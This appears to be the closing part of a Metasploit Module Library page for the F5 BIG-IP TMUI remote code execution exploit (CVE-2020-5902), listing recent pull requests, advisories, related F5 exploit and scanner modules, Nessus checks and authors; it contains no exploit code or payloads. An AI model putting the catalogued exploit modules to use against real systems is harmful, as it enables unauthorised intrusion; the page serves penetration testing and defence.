- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE-2020-5902
- https://support.f5.com/csp/article/K52145254
- https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/
See Also
Check also the following modules related to this module:
- exploit/linux/http/f5_icall_cmd
- exploit/linux/http/f5_icontrol_exec
- exploit/linux/http/f5_icontrol_rce
- exploit/linux/http/f5_icontrol_rest_ssrf_rce
- exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
- exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
- exploit/linux/ssh/f5_bigip_known_privkey
- auxiliary/admin/networking/f5_config
- auxiliary/dos/http/f5_bigip_apm_max_sessions
- auxiliary/gather/f5_bigip_cookie_disclosure
- auxiliary/scanner/http/f5_bigip_virtual_server
- auxiliary/scanner/http/f5_mgmt_scanner
- post/networking/gather/enum_f5
Related Nessus plugins:
- F5 Networks BIG-IP : TMUI RCE vulnerability (K52145254)
- F5 Networks BIG-IP : TMUI RCE (CVE-2020-5902) (Direct Check)
Authors
- Mikhail Klyuchnikov
- wvu
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.